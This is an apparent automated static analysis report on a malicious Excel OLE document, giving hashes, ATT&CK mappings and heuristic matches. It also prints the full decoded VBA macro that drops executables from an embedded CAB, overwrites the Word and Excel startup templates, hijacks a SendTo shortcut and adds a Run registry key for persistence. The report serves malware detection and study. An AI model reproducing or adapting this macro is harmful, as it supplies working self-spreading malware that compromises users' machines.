Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 4dca5f01abfbf799…

MALICIOUS

Office (OLE)

424.0 KB Created: 2011-02-10 04:18:45 Authoring application: Microsoft Excel First seen: 2015-09-17
MD5: 556a5b3e422ed601d450c869e33cd822 SHA-1: 6bd6cbfac77cd01ebf56c43580dcecb529f3f440 SHA-256: 4dca5f01abfbf79908440610e675e5151f6f1b92d5c95c1a3338e9aac3622f72
160 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1105 Ingress Tool Transfer

The sample contains VBA macros that leverage WScript.Shell to create directories, extract files from a CAB archive, and copy executables and templates to various system locations, including the user's Startup folder and the Word Normal template. The script also attempts to modify shortcuts in the SendTo folder. This indicates an intent to download and execute a second-stage payload and potentially establish persistence.

Heuristics 4

  • VBA macros detected medium 2 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • WScript.Shell usage critical OLE_VBA_WSCRIPT
    WScript.Shell usage
    Matched line in script
    Set w = CreateObject("wscript.shell")
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
    Matched line in script
    Set fso = CreateObject("scripting.filesystemobject")
  • Reference to Windows Script Host high SC_STR_WSCRIPT
    Reference to Windows Script Host

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 2808 bytes
SHA-256: 071361a99a1431d40e0c3041987210a7a2134c5eb423dbe3dcb87fe5192b4347
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "Module1"
Private Sub createcabfile()
Dim ch As Byte
On Error Resume Next
Set fso = CreateObject("scripting.filesystemobject")
Set w = CreateObject("wscript.shell")
myfolder = w.SpecialFolders("Templates") & "\Software\"
If Not fso.folderexists(myfolder) Then
fso.createfolder myfolder
End If
For i = 1 To Workbooks.Count
If Workbooks(i).Name = "normal.xlm" Then
Workbooks(i).Close
fso.deletefile Application.StartupPath & "\normal.xlm"
End If
Next
For i = 1 To Workbooks.Count
If Workbooks(i).Name = "norma1.xlm" Then
GoTo a1
End If
Next
cabfile = "c:\cab.cab"
If Not fso.fileexists(Application.StartupPath & "\norma1.xlm") Then
fso.Delete cabfile
Open cabfile For Binary Access Write As #1
For i = 1 To 150
hv = ThisWorkbook.Sheets("(m1)_(m2)_(m3)").Cells(i, 2).Value
n = 1
m = InStr(hv, " ")
Do While m > 0
ch = CByte(Mid(hv, n, m - n))
Put #1, , ch
n = m + 1
m = InStr(n, hv, " ")
Loop
Next
Close #1
w.Run "%COMSPEC% /c attrib -s -h c:\setflag.exe", 0, True
w.Run "%COMSPEC% /c attrib -s -h c:\sendto.exe", 0, True
w.Run "%COMSPEC% /c extrac32 /E /Y /L c:\ c:\cab.cab", 0, True
w.Run "%COMSPEC% /c extract /E /Y /L c:\ c:\cab.cab", 0, True
fso.deletefile cabfile
fso.copyfile "c:\normal.dot", myfolder, True
Set word = CreateObject("word.application")
ntpath = word.NormalTemplate.Path & "\"
word.Quit
fso.copyfile "c:\normal.dot", ntpath, True
fso.copyfile "c:\norma1.xlm", Application.StartupPath & "\", True
fso.copyfile "c:\internet.exe", fso.getspecialfolder(1) & "\"
Set fold = fso.getfolder(w.SpecialFolders("SendTo"))
For Each ff In fold.Files
If InStr(ff.Name, "软盘") > 0 Then
Set lnk = w.CreateShortcut(fold.Path & "\" & ff.Name)
lnk.TargetPath = "c:\sendto.exe"
lnk.IconLocation = "shell32.dll,6"
lnk.Save
GoTo e2
End If
Next
e2:
fso.deletefile "c:\normal.dot"
fso.deletefile "c:\norma1.xlm"
fso.deletefile "c:\internet.exe"
w.Run "%COMSPEC% /c attrib +s +h c:\setflag.exe", 0, True
w.Run "%COMSPEC% /c attrib +s +h c:\sendto.exe", 0, True
w.regwrite "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run\Internet.exe", "internet.exe"
w.regdelete "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run\Internat.exe"
End If
Workbooks.Open Application.StartupPath & "\norma1.xlm"
ThisWorkbook.Sheets("(m1)_(m2)_(m3)").Columns(2).Copy Workbooks("norma1.xlm").Sheets("(m1)_(m2)_(m3)").Columns(2)
Workbooks("norma1.xlm").Save
fso.copyfile Application.StartupPath & "\norma1.xlm", myfolder, True
a1:
fso.deletefile "c:\excel.txt"
Application.DisplayAlerts = False
For i = 1 To ThisWorkbook.Sheets.Count
If Left(ThisWorkbook.Sheets(i).Name, 3) = "模块表" Then
ThisWorkbook.Sheets(i).Delete
End If
Next
Application.DisplayAlerts = True
ThisWorkbook.Saved = True
End Sub

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